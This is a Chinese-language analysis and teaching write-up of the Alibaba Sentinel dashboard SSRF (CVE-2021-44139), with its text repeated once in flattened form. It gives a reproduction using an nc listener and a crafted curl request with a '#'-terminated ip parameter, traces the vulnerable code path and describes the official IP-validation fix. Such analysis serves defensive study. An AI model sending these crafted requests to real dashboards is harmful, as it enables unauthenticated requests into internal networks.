Alibaba Sentinel SSRF漏洞(CVE-2021-44139)浅析
字数 1804 2025-08-06 20:12:44

Alibaba Sentinel SSRF漏洞(CVE-2021-44139)深入分析与教学文档

0x00 漏洞概述

漏洞名称: Alibaba Sentinel 认证前SSRF漏洞
CVE编号: CVE-2021-44139
影响组件: Sentinel的管控平台sentinel-dashboard
漏洞类型: 服务器端请求伪造(SSRF)
风险等级: 高危
发现者: SecCoder Security Lab的threedr3am
发现时间: 2021年11月

漏洞简介

Alibaba Sentinel是阿里巴巴开源的面向分布式服务架构的高可用防护组件,主要功能包括流量控制、熔断降级和系统自适应保护等。该漏洞存在于Sentinel的管控平台sentinel-dashboard中,允许恶意用户无需认证即可通过特定接口进行SSRF攻击。

0x01 环境搭建与漏洞复现

环境准备

  1. 获取漏洞版本代码:

    git clone https://github.com/alibaba/Sentinel.git
    cd Sentinel
    git checkout release-1.8
    
  2. 导入项目到IDE:

    • 推荐使用IntelliJ IDEA
    • 导入项目后,确保使用release-1.8分支
  3. 启动服务:

    • 运行主类: sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/DashboardApplication.java
    • 默认服务端口: 8080

漏洞复现步骤

  1. 准备监听服务:

    nc -lvvp 12345
    
  2. 构造恶意请求:

    curl -XGET 'http://your-ip:8080/registry/machine?app=SSRF-TEST&appType=0&version=0&hostname=TEST&ip=your-ip:12345%23&port=0'
    
  3. 观察结果:

    • 如果漏洞存在,nc监听端口将接收到请求
    • 注意%23是URL编码的#字符,用于注释掉后续不需要的参数

0x02 漏洞深入分析

漏洞触发路径

  1. 入口点: MachineRegistryController.java中的receiveHeartBeat方法

    • 路径: /registry/machine
    • 方法签名:
      @RequestMapping(value = "/registry/machine", method = RequestMethod.POST)
      public Result<RegistryInfo> receiveHeartBeat(...)
      
  2. 参数处理流程:

    • port参数进行基本校验(需要正整数)
    • ip参数仅进行非空和长度(小于128)校验
    • 构造machineInfo对象并传入addMachine方法
  3. MetricFetcher组件:

    • MetricFetcher.javastart方法在构造时被调用
    • 调用链: start()fetchAllApp()doFetchAppMetric()fetchOnce()
    • fetchOnce方法中,machineInfo的IP和端口被取出并拼接到URL中
  4. SSRF触发点:

    String url = "http://" + machine.getIp() + ":" + machine.getPort() + "/" + METRIC_URL_PATH + "?startTime=" + startTime + "&endTime=" + endTime + "&refetch=" + refetch;
    
    • 由于没有对IP地址进行严格校验,攻击者可构造恶意IP
    • 使用#可以注释掉后续拼接的参数

关键问题

  1. 认证缺失: 接口无需认证即可访问
  2. 输入验证不足:
    • 仅检查IP长度和非空,未验证IP格式合法性
    • 允许特殊字符如#通过
  3. URL拼接不安全: 直接拼接用户输入到请求URL中

0x03 漏洞修复方案

官方修复方式

  1. 代码位置: MachineRegistryController.java
  2. 修复方法: 使用IPAddressUtil工具类进行IP合法性校验
    if (!IPAddressUtil.isValidIPv4(ip) && !IPAddressUtil.isValidIPv6(ip)) {
        return Result.ofFail(-1, "Invalid ip: " + ip);
    }
    
  3. 修复效果:
    • 只允许合法的IPv4和IPv6地址通过
    • 阻止了包含特殊字符的恶意输入

安全建议

  1. 输入验证:
    • 对所有用户输入进行严格校验
    • 使用白名单机制限制允许的字符
  2. 认证授权:
    • 对敏感接口实施认证机制
    • 实现基于角色的访问控制
  3. URL构建:
    • 使用URI构建器而非字符串拼接
    • 对动态部分进行编码处理
  4. 网络限制:
    • 限制出站连接的目标地址
    • 禁止访问内网地址段

0x04 参考资源

  1. 官方GitHub仓库: https://github.com/alibaba/Sentinel
  2. CVE详细信息: https://nvd.nist.gov/vuln/detail/CVE-2021-44139
  3. 原始漏洞分析: SecCoder Security Lab报告

附录: 完整漏洞利用流程示意图

攻击者请求 -> /registry/machine接口 -> MachineRegistryController -> 
构造machineInfo -> MetricFetcher获取指标 -> 拼接恶意URL -> 
发起SSRF请求 -> 攻击者控制的服务器

总结

CVE-2021-44139是一个典型的SSRF漏洞,其根本原因在于输入验证不充分和URL构建不安全。通过分析这个漏洞,我们可以学习到:

  1. 即使简单的参数也需要严格验证
  2. 认证缺失会放大其他漏洞的影响
  3. URL构建必须谨慎处理
  4. 开源组件的安全同样需要重视

对于开发人员和安全研究人员,这个案例提供了宝贵的经验教训,强调了安全编码实践的重要性。

Alibaba Sentinel SSRF漏洞(CVE-2021-44139)深入分析与教学文档 0x00 漏洞概述 漏洞名称 : Alibaba Sentinel 认证前SSRF漏洞 CVE编号 : CVE-2021-44139 影响组件 : Sentinel的管控平台sentinel-dashboard 漏洞类型 : 服务器端请求伪造(SSRF) 风险等级 : 高危 发现者 : SecCoder Security Lab的threedr3am 发现时间 : 2021年11月 漏洞简介 Alibaba Sentinel是阿里巴巴开源的面向分布式服务架构的高可用防护组件,主要功能包括流量控制、熔断降级和系统自适应保护等。该漏洞存在于Sentinel的管控平台sentinel-dashboard中,允许恶意用户无需认证即可通过特定接口进行SSRF攻击。 0x01 环境搭建与漏洞复现 环境准备 获取漏洞版本代码 : 导入项目到IDE : 推荐使用IntelliJ IDEA 导入项目后,确保使用release-1.8分支 启动服务 : 运行主类: sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/DashboardApplication.java 默认服务端口: 8080 漏洞复现步骤 准备监听服务 : 构造恶意请求 : 观察结果 : 如果漏洞存在,nc监听端口将接收到请求 注意 %23 是URL编码的 # 字符,用于注释掉后续不需要的参数 0x02 漏洞深入分析 漏洞触发路径 入口点 : MachineRegistryController.java 中的 receiveHeartBeat 方法 路径: /registry/machine 方法签名: 参数处理流程 : 对 port 参数进行基本校验(需要正整数) 对 ip 参数仅进行非空和长度(小于128)校验 构造 machineInfo 对象并传入 addMachine 方法 MetricFetcher组件 : MetricFetcher.java 的 start 方法在构造时被调用 调用链: start() → fetchAllApp() → doFetchAppMetric() → fetchOnce() 在 fetchOnce 方法中, machineInfo 的IP和端口被取出并拼接到URL中 SSRF触发点 : 由于没有对IP地址进行严格校验,攻击者可构造恶意IP 使用 # 可以注释掉后续拼接的参数 关键问题 认证缺失 : 接口无需认证即可访问 输入验证不足 : 仅检查IP长度和非空,未验证IP格式合法性 允许特殊字符如 # 通过 URL拼接不安全 : 直接拼接用户输入到请求URL中 0x03 漏洞修复方案 官方修复方式 代码位置 : MachineRegistryController.java 修复方法 : 使用 IPAddressUtil 工具类进行IP合法性校验 修复效果 : 只允许合法的IPv4和IPv6地址通过 阻止了包含特殊字符的恶意输入 安全建议 输入验证 : 对所有用户输入进行严格校验 使用白名单机制限制允许的字符 认证授权 : 对敏感接口实施认证机制 实现基于角色的访问控制 URL构建 : 使用URI构建器而非字符串拼接 对动态部分进行编码处理 网络限制 : 限制出站连接的目标地址 禁止访问内网地址段 0x04 参考资源 官方GitHub仓库: https://github.com/alibaba/Sentinel CVE详细信息: https://nvd.nist.gov/vuln/detail/CVE-2021-44139 原始漏洞分析: SecCoder Security Lab报告 附录: 完整漏洞利用流程示意图 总结 CVE-2021-44139是一个典型的SSRF漏洞,其根本原因在于输入验证不充分和URL构建不安全。通过分析这个漏洞,我们可以学习到: 即使简单的参数也需要严格验证 认证缺失会放大其他漏洞的影响 URL构建必须谨慎处理 开源组件的安全同样需要重视 对于开发人员和安全研究人员,这个案例提供了宝贵的经验教训,强调了安全编码实践的重要性。